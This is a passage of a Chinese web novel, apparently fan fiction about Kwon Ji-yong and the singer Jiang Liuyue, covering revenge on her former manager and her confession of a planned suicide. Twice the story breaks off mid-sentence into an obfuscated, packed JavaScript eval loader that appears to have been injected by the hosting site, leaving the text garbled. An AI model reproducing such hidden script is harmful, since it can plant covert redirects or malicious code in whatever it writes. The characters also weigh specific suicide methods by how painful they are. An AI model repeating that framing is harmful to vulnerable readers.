几乎是韩国这边新闻爆出的同时,江留月素来就以氪金狠、行动力强著称的粉丝后援会立刻组织起来筛选证据,然后做成PPT和长海报问责江留月的国内所属社。 一些行动力强的粉丝组团直接跑到韩国来,在首尔大学附属医院附近抓住了在韩国处理事情的律师团队逼问新闻真实性。 在得到金优的确叫嚣要用江留月的死来让权志龙羞辱他的事情复仇之后,粉丝们的怒火瞬间燃爆,整理好资料往网上一丢,所属社当天就被粉丝直接上门逼责,立刻冻结了金优在所属社所有的权限,停职等候调查。 等到金优从看守所拿到手机出来的时候,他才知道,他已经从江留月唯一的代言人,成为身处怒火滔天审判场内唯一的罪犯。 相信他是坏人的人们恨他如刽子手,不知道他是不是坏人的人见到他顺脚踩一下,无所谓他是不是坏人的人也不会站在他那边:谁会站在社会舆论的对立面惹事呢? 金优明明身上有卡,却难以获取得体的餐食住宿,他试图寻找所属社的帮助,但因为他执意转院这件事情被律师团队亲眼见证,也被所属社抛弃,在自生自灭中,他只能选择剑走偏锋,像是被穷追猛打的老鼠掉入下水道一样,掉进权志龙为他准备好的狩猎场。 此时此刻,金优无论是想要找记者自证,还是想进医院找医生谈,都需要大笔的钱作为敲门砖。 还好,有“相信他但需要钱来打通头条发布的记者”和“愿意让他进去看已经好很多的江留月但害怕被教授发现责罚的医学生” 找上门。 当然,这些人在金优孤注一掷使用高利贷搞来大笔现金之后,收了钱就消失不见。 金优如今回想起那暗无天日,被所有人用厌恶、鄙弃的眼神注视的生活,就浑身发抖,恶心的要吐出来。 他永远忘记不了,自己被高利贷的人一路追杀,躲到垃圾堆的后面,他蜷缩着身子,捂着头,瑟瑟发抖。 这时候,脚步越来越近了。 对方停在了他的面前,他祈祷着不要被发现,浑身的疼痛在这一刻也变得可以忍受,就连呼吸都屏住了。 对方在他的上方来回移动片刻之后,忽然低下了头。 金优抬起头,看到那扭断他小拇指的男人那张满是横肉的脸。 他们的距离很近。 近到金优的脸被对方的身体阴影所遮盖。 他以为自己会死在这里。 对方却缓缓地,露出了一个,恶鬼一样的笑容。 他没有打金优,也没有抓他出去,而是用很轻的声音,送上了一句诅咒: “权先生向您问好。” 说完这句话,对方就微微一笑,退开身子,慢悠悠的离开了。 金优几乎要疯掉,他没有理智的冲了出去,对着大街上的人近乎疯狂的叫嚣着:“你们听到了吗?!你们听到了吗?!!是权志龙————是权志龙————是权志龙害我!!!!” 街上的人被他吓了一跳,一边躲避一边报警,无人理会他声嘶力竭的控诉。 金优被警察带走,他神经质的向警察重复这句话,但,警察回答他的,只是一句嗤笑。 “呀,全世界的人都知道GD现在在医院里哪里都不去,他哪来的时间来搞你。” “而且……就算是GD在搞你,你也不看看自己做了什么,卑鄙的家伙,为什么要伤害那么一个年轻的漂亮的女孩,这些年你在她身上赚了那么多年,把她骗到中国去,知道我们多么伤心吗阿西吧!!!!” 金优茫然的看着他们。 他不懂。 他冤枉的胸口都要裂开了,跳起来吼道:“我没有说谎!!我没有害她!!这是真的,是她自己不想活了——是真的啊————你们要相信我!!!!” 所有人都把他当成精神病,他因为扰乱秩序被关押在看守所里。 这里好歹不会有人打他,金优精神恍惚的靠在墙壁上,不懂短短一周,为何自己就失去了一切。 这时候,看守所的门响了,金优神经质的抖了一下,看到进来的是一个精瘦的男人,陌生的脸庞,视线甚至没在自己身上停留,才又松了口气。 精瘦的男人满脸阴郁,他慢慢走到了金优对面,然后缓缓坐下,看向金优。 金优空洞的双眼逐渐凝住,他似乎意识到了什么,呆滞的看向对方。 男人微微一笑: “权先生向您问好。” 金优疯了。 监控显示,他在看守所关进新人之后,忽然嚎叫一声,开始用头撞墙,不多时被送到了医院救治。 当然,这个医院只是个不大的医院,距离首尔大学附属医院,简直是十万八千里。 第二天,金优从医院逃走了,再也不见踪影。 权志龙一度以为这个人会因为身上累加的高利贷而从此隐姓埋名过潦倒的生活,或就干脆这样冻死在某个地方,没料到这家伙身上神婆的血液让他有了将一切颠覆重来的能力。 可,重来又如何呢? “想让你再被审判一次,好像不太现实,而且,我并不想把塔伊牵扯进去。”权志龙认真的思考了一下,声音很平和:“但是,想要让你变成乞丐,然后一辈子就像是乞丐一样的活着,却很容易。” “你现在依靠的是麻浦金氏的宗族企业,我调查过了,金氏旗下以酒店和餐厅为主,因为旅游业的缘故,如今也是竞争激烈。” 金优重生之后,利用自己后世学到的东西进行营销,金氏的营业额收入很多,他又将这些钱投入炒股,凭借曾记忆的科技股大赚特赚,因此在金家的地位也是水涨船高。 金优似乎意识到了独木难支,下定决心将金氏作为自己的底牌,因此将自己赚来的钱大多都投入到了金氏的企业中去。 “为什么会选择这种轻而易举就会破产的行业呢。” 权志龙淡色的瞳孔看着金优,嘴角还带着轻飘飘的笑意,似乎充满了不解。 ——完全是疯子、恶鬼。 金优的牙齿都颤栗了一下,他想要质疑现在的权志龙没有这样雄厚的能力,但他又害怕对方真的有。 到底哪里出了问题呢,塔伊在的时候,明明这个男人看起来软弱又无能,总是没完没了的流泪,跪在地上乞求着塔伊的原谅,甚至用带着卑微和讨好的语气跟自己说话。 到底是从什么地方开始,这家伙像是被恶鬼夺舍一样,变成了这样令人恶心的黏腻阴湿的存在?! ……对,对了,一定是恶鬼,不然,不然自己已经来到了十几年前,这个家伙,又是怎么出现在这里的呢!? 金优越想越难受,脸色都青白了起来。 然后下一秒,他听到了恶鬼的声音。 “……直接破产的话,好像太过分了,毕竟里面的员工什么的都是无辜的嘛,不如我干脆买下来吧。” 权志龙偏偏头: “这样你以后就要给我打工了。” “你要怎么称呼我呢?” 权志龙忽然笑了: “也要叫我权先生,然后要向我问好吗?” 金优只觉得自己的脑子像是被人轰了一枪一样。 他双耳传来尖锐的刺痛,几乎是瞬间就扑向了权志龙,想要掐住对方的脖子,掐住这头恶鬼,把他重新封印到地狱去。 他身上可是流淌着神明的血,是被神明眷顾的人,怎么可能会干不过这样的恶鬼呢!? 但是,金优的双手却根本不能触碰到权志龙。 这个疯子直接手里握着金属制的输液杆,输液针早就偏离甩了出来,血珠顺着他的手背缓慢的流淌下来。 权志龙不以为意,手里握着输液架的样子,犹如盘腿而坐,用权杖审判犯人的修罗王。 他因为金优猛然顿住没能扑过来被金属管狠狠刺到而露出了有些遗憾的表情。 “怎么办啊。” 权志龙笑嘻嘻的说道: “差点就算我正当防卫了。” 病房里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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权志龙深吸一口气,攥紧输液杆的手再次开始流血,他不可能在金优没动手的情况下殴打他,但眼下,真有些要忍不住了。 就在此刻,哗啦一声,病房的推拉门开了。 权志龙烦到极致,责骂的话语脱口而出:“不是说了谁也不能进来……” 他的话骤然顿住。 出现在他面前的,是拎着一袋衣服和一个保温桶的江留月。 她穿着T恤和开衫,戴着棒球帽压着自己的头发,即便隔得很远,权志龙也能看到她的脸上,是一种平淡的表情。 权志龙忽然慌了,他近乎手足无措的松开了抓着输液杆的手,输液杆掉在地上发出好大的一声当啷。 “塔、塔伊……为什么……” 他慌乱的看向墙壁上的挂钟,距离江留月要来的时间,明明还早得很。 江留月反手将推拉门关上,慢慢的走了过来,她像是没看到金优一样走到了他的面前,忽然笑了一下。 “因为对你承诺了嘛。” “我说,我会跑着过来,所以,就真的跑过来了,是会比哥想的要快一些的。” 权志龙一下子怔住了。 他的喉头猛然泛出了血腥味,只是人陡然变得无措起来,手脚都不知道要哪里放,嘴里泛出一种血腥味,艰难的咽了口口水,支 支吾吾了半天,也说不出一句话。 金优也怔怔的看着江留月。 江留月居高临下的看着金优,表情渐渐浮现出金优熟悉又陌生的,一种类似于厌倦和无奈的表情。 “走吧。” 江留月说道:“我都说了,不要掺和到我的人生里来,你为什么不听呢?” 本来瘫软在地上的金优闻言,几乎是一骨碌的翻了个身,然后,跪在地上,颤抖着嘴唇,看着江留月。 404 Not found。 在哪里都找不到的。 到哪里都触碰不到的。 银色的、冰冷的、被大雪吞噬的身影。 如果不是神明垂怜。 他都不可能再看到的,连裙摆也无法触碰到的,高高在上的—————— 他说不出话,也知道很多话,不能在权志龙面前开口,他抹去的那部分记忆,刻意调整的时间,会是他在江留月这里最后一张牌。 但,他没料到权志龙竟然也能穿越漫长的梦游廊。 他不敢让这两个人单独相处。 但这一切,也确实由不得他了。 江留月拍了拍手,老虎哥带着人推门而入,江留月一个眼神,就将金优半拖半拽的扯离了这间病房。 房间里恢复了寂静。 权志龙沉默着,直到江留月到抽屉那里拿了医用胶布和棉球来为他处理手背上的伤口。 他才深吸一口气开口: “……从哪里开始听到了?” 江留月为他贴好了胶布,摘下了自己的棒球帽,然后捋了捋银色的头发,她爬上了床,盘腿坐在权志龙对面,单手托着腮看着他,语气很平静: “从金优的大喊大叫开始。” “他说他从来没有想让我死过……大概吧,这个意思。” 权志龙脸上的肌肉不可抑制的抽动了一下,他几乎是下意识的用颤抖的语气说道:“那个杂种他……” 那种恶毒的混蛋说的谎言,我才不相信。 “是真的。” 江留月打断了权志龙的话。 权志龙看到她银色的发丝披散在肩膀上,那张脸蛋却比月色和雪色更为夺目。 她的声音很温和,说的每个字,权志龙却都听不懂。 “他没有说话,说谎的人是我,哥。” 2023年巴黎。 江留月记得权志龙眉眼温柔的问自己。 “我们塔伊,过得好吗?” “我很好。” 她应该很好的。 事业登顶,星光围绕,亲朋好友,各有前程。 她总是在笑,已经几乎不掉眼泪了。 晚上,江留月在梦里又见到了权志龙,她哥一直在生她的气,背对着她,她也不介意,只是抱着哥哥的腰,蹭了又蹭。 ‘哥哥对不起,我说的话都不是真心的。’ 我很不好。 我很不好很不好很不好很不好。 大家都被我骗了。 因为我总是笑着。 你也是。 因为你也被我这样笑着骗了,所以我没能当时就哭出来。 我的眼泪只能在梦里流。 我只能向你道歉,希望你原谅我。 哥哥,那天你真的原谅我了。 你转过身面向我,亲吻我,跟我说对不起,说对不起我,说没照顾好我。 你还说不怪我,你不生我的气了。 从那天开始,我觉得,我们一笔勾销了。 我以为,我的痛苦停止了。 但并没有。 我的痛苦,仿佛从那一刻才开始。 梦里结束的圆满,让我没办法真的对你说出我的真心话。 “哥哥我错了,我要回家。” “外面很好,但塔伊真的想回家了。” 48.原谅 48.原谅 房间里陷入了凝固一般的寂静。 江留月说完这句话之后,权志龙就顿住了。 他就像是在面对一张黑白默片,只能依靠对方的嘴型来判断,又或者,是年久失真的录音传到耳朵里,只能听清楚对方在说话, 却无法理解对方的意思。 因为太过冲击,又或者太荒唐了。 权志龙心中竟然生出这样的念头:“这孩子在说什么呢。” 待到过了两三秒,他的脑子处理完了这句话之后,他又哽住,嘴巴张开又闭上,有热意涌入耳朵和额头,偏偏从眼睛往下,都是 一片冰冷,像是麻木住了一般。 他有些分不清现实和梦境,于是用力闭上了眼睛,倒抽着冷气,强迫自己冷静下来。 ……这算什么啊。 你知道你能活下来有多不容易吗? 救援队的人哪怕再晚去半个小时,你就救不回来了。 如果不是因为汽车有一定的保温效果,也可能因为失温没命。 弹出来的安全气囊将汽车仪表盘上的一枚首饰弹出去,划开了你的颈侧,距离血管仅仅几毫米的深度。 韩国最好的医生团队围着你团团转,每当那些医疗机器上出现新的波动,所有人都激动的要跳起来。 你认识的那些人,我们的朋友和家人们,整夜的为你祈祷,粉丝们哭到晕厥,医院外面的救护担架一个接着一个抬进来。 因为你一直没有醒过来,我在求完了所有的现代科技之后,求到了神明面前。 一次一次,我试图在那漫长的冰冷的长廊上找到你。 我是那么怨恨让你陷入危险之中的那个男人,每个晚上每个瞬间,都在悔恨自己没有照顾好你,没有能第一时间赶到你的身边。 而你呢? 塔伊。 你用冷淡的表情,平静的语气,告诉我。 我拼了命想要救的人,是自己想要舍弃生命的吗? 权志龙喉头涌动腥味,他眼前发花,太阳穴突突的跳动,他猛然转开身子面向旁边,不再面对江留月。 “……哥?” 江留月察觉到不对劲,轻声叫了一声。 “别说话。” 权志龙哑着嗓子说道。 他捂着自己的头,用发抖的声音重复了一遍:“别说话。” 你那冷静的、平和的声音。 带着疑惑的,无辜的声音。 别用这种声音跟我说话。 权志龙断断续续的喘着气来平复自己的情绪,他有着强烈的头晕,胸口也闷得喘不过气来,他试图冷静,但是好一会儿——又或 者只是几秒钟,只是这会儿时间对他来说,显然太漫长了——他也冷静不下来。 最终,权志龙伸手一把掀翻了床头柜上的东西,瓶瓶罐罐酒精棉花药瓶撒了一地,巨大的碰撞声破裂声之后,他才算是凝住了自 己的心神。 他一边爆喝让外面的人不许进来,一边回过头,用想要努力平静,却根本无法控制的扭曲的表情问江留月: “为什么?” 他脸上的肌肉不受控制的抽搐抖动,眼球严重充血,嘴角也被自己咬破了,看起来非常渗人。 却也非常可怜。 因为下一秒,权志龙的声音就带上了哭腔: “你为什么要这样?” 他的手都在发抖,但是很坚决的伸出手攥住了江留月的手。 纤细的、柔软的白皙的小手,带着温暖的热度,不是因为24小时输液而冰冷的,怎么都暖不热的,泛着缺少血色的青白色的手。 权志龙将这只手举起来,面向江留月,尽量吐字清晰的,一字一句的问她: “你怎么能这样对自己?” 江留月怔住了。 她其实已经做好准备,要面对权志龙怒火的狂风暴雨了。 她在门口的时间其实更久,在听到金优和权志龙的对话之后,她就意识到,权志龙应该也是来自于未来的时间。 因为,在她的记忆里,金优可没有吃过牢饭。 虽然觉得荒谬,但江留月却又感到一种诡异的破罐子破摔的如释重负感。 一直以来,在面对2014年的权志龙的时候,那种一口气提上来又下不去,得过且过饮鸩止渴的压迫感终于消散了。 嘴巴上讲着到2017年自然分手就好,她却又不觉得,那会是什么和平的谈话现场。 想也知道,权志龙会闹得更凶更难看,而她则会是那场争端的万恶之源。 光是想着就觉得头痛,想要折磨他来找分手的借口,看着权志龙幸福的样子又张不开嘴也下不了手的时候。 眼前面对的人,竟然是那个权志龙,可太好了。 破罐子破摔,大吵一架的彼此坦白,然后各走各的路不就好了吗? 眼前这个人,却含着眼泪,问自己为什么要这样对待自己……? 好荒谬啊。 江留月有些疑惑又有些迷茫的看着权志龙。 她似乎感觉到对方在愤怒、生气、委屈,但她却得不到答案。 “……什么叫做为什么这样对自己。” 江留月迷茫的看着他: “没有理由啊。” “就是这样,下了决定而已啊。” 2024年1月1日,江留月许下了自己的新年愿望,这个愿望叫做“希望大家永远爱我。” 此时的她已经三摘内娱顶流宝座,在各大颁奖礼上出尽风头,工作室的人欢欣鼓舞,她也是个出手大方的老板,发了奖金又带所 有人去度假庆功。 端坐在热闹的人群中央,江留月拿起手机拍下照片发送到社媒,仅仅十分钟就有百万回复,粉丝们还控评用头像当句子,热热闹闹的开启了新的一年。 人在端坐高位的时候,是只能听到好话,看到好人的,因此江留月有习惯,她有小号关注一些对家,跳出粉圈来观察自己的舆 情。 也就是在那个时候,她微妙的察觉到了,不一样的涌动。 有人在羡慕她家的粉丝,也有人在酸,有人在问江明月这样蝉联下去其他人怎么起得来,有的人在加油鼓劲儿说江明月明年没有新剧了自己家的妹妹一定能接下她的班。 所属社的后辈们混在人堆里祝贺,里面有公众认为的接班人,有被粉丝破口大骂多利羊的“小江明月”,有和她炒过CP又解绑之 后正在和别人炒CP的男男女女。 娱乐圈里年轻的新面孔越来越多,她一手促成打造的新生态里,百花齐放,千树迎风。 江留月再抬起头,发现原来自己已经将路走到了最顶端。 往歌谣界,她发了新专辑之后就只有巡演,往综艺,她咖位已经大到去了就是专辑,往影视剧,她已经到了再演偶像剧就要跟比自己小十岁的后辈们演情侣的年纪。 江留月经常感到迷茫,她是那么红,红到不管做什么,粉丝们都是夸夸,周围的人也都是夸夸,演戏也是,唱歌也是,除了赞美 听不到别的东西。 她用小号去探寻,却又发现,大家说的是假的,她在新剧里的部分剧情演的不够好,她的最新的Live里全开麦有个音没上去,总 是笑嘻嘻的叫着姐姐的后辈私下开直播哭诉自己分不到好资源只能作为他人的陪衬,爱一往情深的暧昧对象前天还在泰国夜店开 大趴。 这些事情,她却连个说话的对象都没有。 她从韩国回到中国时,虽然实力不受认可,但名气已如日中天,是随便开演唱会都能坐满几万人的号召力,是YG出品的海归明 星,是引领时尚的icon,所认识到的朋友们,从见到她的对面开始,都是带着狂热的面具、温柔的声音、无微不至的周到。 江留月最安心的日子,反而是没有受到全民认可的时期,她还在往上爬,网络上总是有不同的声音,音乐评论家们言辞犀利,营 销号们也搬运她的演技去‘辣评’,她最初参加综艺还获选‘年度最用力过猛综艺’的金乌鸦奖。 她撑着一口气往上爬,想得到所有人的认可和爱,她做到了。 然后,她发现,被这些人的爱包围着的自己,变得极其孤独。 她在千篇一律的爱中看到的似乎是同一双眼睛。 她感到无法呼吸。 可是,为什么她会无法呼吸? 江留月不知道,她不能理解,也不好意思向别人开口说自己很痛苦,在众人欢呼雀跃的浪潮中,她不好扫兴。 痛苦和孤独与日俱增,她只好不断给自己设立目标,为了新电影把自己饿瘦几十斤又增肥几十斤,换来一句‘敬业’和一个含金量极高的奖项之后,她却又觉得厌倦,将奖杯随手丢在了办公室。 不管过程还是结果,都一样痛苦又无趣。 她不信邪,于是又换了一座山,最终,山登无可登。 她已经自己站在山顶,睁眼却发现自己在深渊底部,四周陡峭山壁,爬无可爬,低头一望,是无数狂热手臂将她推举,又想将她 扯下瓜分的宝座。 然后,大众在对她极尽宽容之后,忽然又变得苛刻起来。 这种苛刻有几分是对江明月的,有几分是对三十岁之后的女性的,又有几分只是来自嫉恨、偏见与无聊的消遣的,江留月无从分 辨。 她只是突然发现,身处山顶的她,无论再往哪里走,都似乎是在下坡路。 当她满足了所有的人的期盼之后,每一步路,都只剩下失望。 江留月取消了后面的工作,尝试将精力放在业余爱好上,但空白的时间一多,她就开始陷入无穷无尽的回忆中。 她经常做梦,睁开眼睛,以为自己还在地板吱呀作响的练习室,有时候,她梦见自己在江家的小花园里,有时候,她梦见自己在 和母亲相依为命时租住的筒子楼下的大槐树下,但更多的时候,她睁开眼睛,看着眼前不知不觉装修都变得一模一样的房间,分不清梦境和现实的,以为自己在家里。 她偶尔会自己悄悄跑回韩国去,她每次回韩国都跟做贼一样,生怕被人发现。 她当年和YG闹得太难看,粉丝和亲朋好友都视YG为水火怪物,为她义愤填膺,为她楚河汉界,她自己偷偷回头,总显得不知羞 耻,自轻自贱。 她在首尔的私人公寓一直都在,这么多年没有改变过,她钻进这个房间里,关掉所有的通讯方式,就能好好睡一觉。 醒过来,她玩着手机,想,今天是去公司看看呢,还是去朋友们的工作室溜达一下呢,是去做一下皮肤管理呢,还是去鸭鸥亭看 看有没有最新出的小店子呢? 手机亮起的那瞬间,会有多少条短信蹦出来呢。 手机屏幕迟迟不亮,映出她美丽却毫无生气的脸。 她怔怔看着,却发现自己的发际线出多了几根白色,不是漂染的那种白色,她已经休息很久没动头发了。 江留月忽然发现,原来自己已经开始有白头发了。 真好笑啊,她才三十三岁耶。 2024年夏天,江留月为自己找好了墓地,韩国的土地是私有制,她买下了那个地方,然后将乔娜的骨灰先迁了进去。 柳天赐再婚了,江留月知道,这个女人以后会和母亲一起埋在柳天赐的旁边。 乔娜怎么能能受得了这种气呢? 乔娜迁坟结束那天,江留月坐在新铺的草皮上,穿着一身素白靠在乔娜的墓碑上,她憋了好几年的话,总算有了能说的对象。 她一直胆子不大,也一直和乔娜不亲。 但直到夜深露重,她都没有离开。 2024年秋,江留月将自己名下的财产做了整理,该捐的捐,该送的送,她一无所有的去韩国,一无所有的回中国,现在又身无长 物的离开。 她在离开前参加了综艺,开过了直播,尝试了很多之前没尝试过的东西,她的状态似乎变得很好,粉丝们都很高兴,但因为她经< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他只是说句气话罢了。 只是因为生气啊。 因为说要分手,因为说要离开他,江留月哭着说不要他管,哭着说不要他干涉自己的事业,自己也很冤枉啊,那个文艺片导演就 是有问题,之前女艺人在他那出事好几次了,他怎么可能放自己的小孩去接触那种狗杂种啊。 所以理直气壮的吵起来了,伤人的话语,脱口而出了。 “我就不该管你,不该认识你,早知道这样的话,我为什么要和你扯上关系?!”权志龙眼睛通红,胸口翻涌着的嫉妒、愤怒、 绝望,即将失去的恐惧,感觉自己被蔑视,即将被抛弃的羞辱涌上心头:“你以为你是谁呢?塔伊啊……?你那么讨厌自己现在 的人生的话,当初就不该走我给你选的路不是吗?” “那样的话你也不用现在在我面前哭着来控诉我,塔伊,你也许是结婚了,上大学了,回中国了,孩子的话也许会有一两个…… 这样的人生是你想要的吗?好啊,那你去过这样的人生好了,那么后悔的话,你就去过那样的人生啊!去结婚,去生几个孩子, 当初你为什么还要从这样的人生逃跑,不干脆听你妈妈的话去嫁一个有钱人呢?” “那我们不就没有关系了吗?不管是你的人生也好,事业好,都跟我没有任何关系,你这个人啊……是笑着好好活,还是哭着过 不好自己的人生,又或者干脆死了,我不会掉一滴眼泪,也不会为你眨一下眼睛。” “这就是你本来的人生。” 权志龙的情绪越来越激烈,说话的语气反而越来越平静,他怨恨这样随意玩弄自己心的江留月,也耻辱于这样被玩弄的自己,他 倍感羞辱,所以用刻薄的语言,一字一句的碾碎他原本软弱的心。 “你原来……也不是应该和我扯上什么关系的人。” “我从一开始就不该管你。” “这就是我的错。” 权志龙盯着江留月的脸,那张他又爱又恨的美丽的脸庞,那双总是带着朦胧的雾气的双眼,他其实都不知道自己说了什么,大概 是从心脏某个角落里,挤出来那么一句话: “现在也不算晚,能和你分开,真是算我运气好。” 江留月怔怔的看着他。 不知道为什么,眼泪怎么都止不住。 权志龙一下子就后悔了。 他知道自己话说得太重了。 但他却抿着嘴,一言不发,梗着脖子,站在那。 凭什么他要先道歉。 是这小孩不懂事的。 她就是被娇惯得太厉害了。 不就是拿捏他一定会低声下气做低伏小吗? 凭什么要他低头。 她总得知道自己是个什么样好的人,什么样了不起的人,付出了多少吧。 权志龙心想,低着头,却看到江留月的眼泪把地毯都打湿了。 他咬着嘴唇,心里很焦躁的同时,又微妙的产生一种得意。 再过几分钟。 就道歉。 他这么想的时候。 江留月抹了一把脸,后退两步,转身,头也不回的离开了他。 “不、不是这样……” 权志龙脸色惨白,他下意识的嗫嚅着:“我只是……” 我只是…… 我只是不甘心自己那么爱你,你却不能明白。 我只是恨你不懂我,不够爱我。 我不是恨你。 我怎么会恨你呢。 “没关系。” 江留月却笑了笑,她看起来真的很平静。 “怎么了,志龙哥。” “跟我说一声‘对不起’就那么难吗?” “没关系。” 她垂下头,长长的睫毛遮住了她的双眼。 她轻轻地说道: “我原谅你。” 49.噩梦 49.噩梦 权志龙很讨厌压抑死板的环境,所以,他总是一会被一些活泼的、充满生命力的人或者什么吸引。 在灰扑扑的青少年时期,到璀璨夺目的青年期,他自己也一直都是站在最引人注目的地方,浑身散发着华丽的光彩。 在这所有的,散发着光芒的世界里,他自己都不明白,自己为什么会被那个小老鼠一样躲在角落里 的身影所吸引。 畏畏缩缩的样子,穿着邋遢又灰暗,说起话来也是细声细气,带着生疏,不善表达也不愿意表达竖着浑身的尖刺。 像是在泥水坑里奄奄一息的流浪猫,是看着就知道会惹来一堆麻烦的,病殃殃的快要死掉的样子。 可是就是鬼使神差的捡起来了,明知道自己可能也没有这样的能力,就是在不该心软的时候,莫名 的心软,然后,两个人之间产生了羁绊。 【没有我的话你早就死了。】 【要对哥哥有感激之心知道吗?】 这样的话,半开玩笑的说过,认真的说过,安慰这孩子的时候说过,安慰自己的时候,也说过。 有时候怨恨她没有良心,有时候生气她不懂事不听话,有时候觉得她麻烦,有时候又觉得她可怜。 更多的时候,权志龙只是将手放上去,感受她软软的头发丝,摸着她凉凉的耳垂,手指有时候掠过 她热乎乎的颈侧。 他以前从来不曾觉得,他们会分开。 直到兵役之前,他们之间最久的一次完全没有见面,也没有超过一周。 想见的时候就能见到,想打电话的时候凌晨也打过去,想看看她在干嘛,随便问一下就能知道行踪 然后直接跑过去抓到一个活蹦乱跳的小家伙。 哪怕是吵架,是生气冷战,也总是能见到,冷若冰霜的脸,生气的样子,皱着的眉头,在玻璃、 窗户、练习室镜子上投下来的影子。 吵架了也会和好,冷战了也会和好,不和好也要找上门来接着吵架,想狠心分开,又在第二天醒来想着‘怎么能那么算了’的跑过去。 这样理所当然的,在他的身边生活了十二年的小孩变成了成熟的女性,稚嫩的脸庞变得美丽,娇小 的身材变得窈窕,身上暖呼呼的痱子粉味变成甜甜的水果香气之后又变成更为冷淡深邃的迷人冷 香。 以后呢?年轻漂亮的脸庞轮廓会越来越柔和,柔软乌黑的头发会出现白色,眼角出现皱纹,身上的 香气会变得更为稳定、令人心头涌出无限安宁。 江留月本要这样,在他身边度过人生,不是吗? 然后,命运忽然开始戏弄他,将这些已经成为他人生一部分的东西剥离出去,又在他面前碾的粉 碎。 权志龙一度认为,是命运弄人,是他们之间数不尽的误会和错误,这些错误和误会,总有被纠正的 时候,总有一天,他能将这一切拨回正确的轨道。 可现在,他第一次看到,命运完全失控的样子。 “……原谅?” 权志龙重复了一下:“你说,你原谅我?” 他觉得荒谬的捂住了脸,太多纷杂的念头,说不出口的委屈化为无力的怨恨,他哆嗦着想要控制自 己,却怎么都控制不住: “塔伊……你说你原谅我是吗?” 权志龙知道自己不该说这样的话,但涌到喉咙处的情绪让他完全控制不住自己,他带着哭腔,带着 不知道堆积了多少的委屈哽咽的说道: “但是,我不原谅你。” 他又重复了一次,好像这样就能给自己壮胆一样的说道: “我不原谅你,塔伊。” “你怎么能这样对我,为什么要这样耍我,这很好玩吗?你这样轻率的放弃自己的人生,让我怎么 办?只有你委屈吗?只有你受伤吗?我呢?塔伊?” 权志龙捂着自己的心口,那里痛得快要裂开了。 他的声音抖得很厉害:“我为什么要这样低声下气的求你不要死,你算什么啊塔伊?” 眼前闪过无数画面,权志龙从她出事之后一直强压的恐惧和愤怒在这一刻快要将他的理智给生吞活 剥。 他是怎么知道江留月出事的呢? 是新闻。 是他刷到了江留月出事的新闻。 救援队在营救的时候有人认出了江留月,救护车和记者几乎是同一时间抵达的医院。 暴雪成灾,距离医院两公里的地方都彻底堵死,权志龙将车停在路边选择跑步,他连外套都没来得 及拿,也不觉得冷的一路狂奔到了医院。 身上的雪花在医院暖气的作用下迅速融化,他从头到脚都是冷的,听完了医生的话几乎要瘫软在地上。 明明已经踩在地板上,他走到病床前的姿势还是深一脚浅一脚。 看到江留月的瞬间,他就不行了。 他甚至怀疑自己在做梦,于是伸手给了自己脑袋一拳。 痛苦、眩晕、耳鸣、呕吐感一起涌上来,将他拖拽回血淋淋的现实。 激烈的情绪和受凉让权志龙发起了高烧,但他一直强撑着处理着所有的事情,他根本没有时间去想江留月为什么会变成这样。 他只是又看到了泥水坑里的小猫,奄奄一息的倒在那,连肚皮都没有起伏的丢在他回家的路上。 本来是被他养的毛茸茸的,活泼可爱的,每天都会闯祸的,总是会用亮晶晶的眼睛看着他,经常用 凉凉的鼻尖,软软的嘴唇蹭着他的脸颊撒娇,双手勾着他的脖子上,沉甸甸暖呼呼的依偎在他怀里 的人,忽然就冷冰冰的,毫无生气的,浑身是伤的躺在雪白的病床上。 他失眠极为厉害,浑浑噩噩中,又觉得江留月躺的不是病床,是雪地。 这些人到底有没有救到她? 他总疑心,救援队没有赶到,不然为什么,他总是梦见江留月穿着单薄的衣服站在雪地里,慌乱又 害怕的四处张望,她脸上都是伤口,眼圈也是红红的,冻得通红的小手捂着自己的耳朵,风吹起漫 天大雪,她害怕的蹲在地上,一下子和风雪融为一体。 权志龙从没完没了的噩梦中醒过来,又掉入金优步步紧逼的陷阱,好容易血淋淋的杀出血路,却是江留月一直没有苏醒的漫长等待。 他用完了自己能用的一切法子,最后只能乞求于神明。 走过漫长的梦游廊,他终于走到了头,来到这孩子身边。 可现在,这一切又像个噩梦了。 又或者,他一直没能从噩梦里走出来。 “不、不是的,等下。” “……你真的是塔伊吗?” 权志龙烦躁焦虑的抓着自己的头发,他近乎崩溃的呢喃着:“你是塔伊吗?还是什么法术吗?会是 什么幻觉吗?” 他能感受到自己在痛苦,一种尖锐的疼痛一直在攻击他的太阳穴,心脏也是快要爆炸一样的,引发 他强烈呕吐欲的狂跳着。 “……你应该是什么幻觉吧。” “塔伊怎么会这样做呢。” 权志龙彻底陷入了混乱,他结结巴巴的试图跟江留月讲道理:“你、你了解她吗?你真的认识她 吗?为什么要冒充她呢?” “你……你知道那孩子胆子多小吗?她每次就只有闯祸的时候才会胆子大,其实都是装的,她胆子 特别小,又怕痛,又怕苦,就算是生病了打针吃药也很讨厌……她怎么会这样做呢,塔伊……如果 你是塔伊的话……你为什么要这样做呢?” “不、不对。” 权志龙像是陡然之间找到了什么证据,他想,是了,这一定是噩梦。 只要找到,这是噩梦的证据,就可以醒来了。 于是,他勉强镇定下来,认真的问道:“如果你是塔伊的话,那你来说好了,你决定怎么死,说来 听听。” 江留月被问住了。 因为她确实在严谨的决定好了自己的死亡,但确实没有什么特别能落地的方式。 她还真的思考了两三秒,然后迟疑的回答道:“吃、吃药?” “错。” 权志龙猛然松一口气,急促的反驳道:“塔伊最讨厌吃药了,而且,吃药的话,会吐得到处都是, 很痛苦的。” 江留月犹豫了一下,换了个说法:“那、那烧炭好了?” 权志龙摇了摇头:“不会,不会的,这个也很痛,而且如果失败的话,会变成傻子或者植物人 的。” 他反驳了对方两次,情绪忽然变得高昂兴奋起来,很小声的急促的嘟囔道:“我就知道,这一定是 假的。” 江留月想要反驳他,但却不知道为什么,十分的词穷。 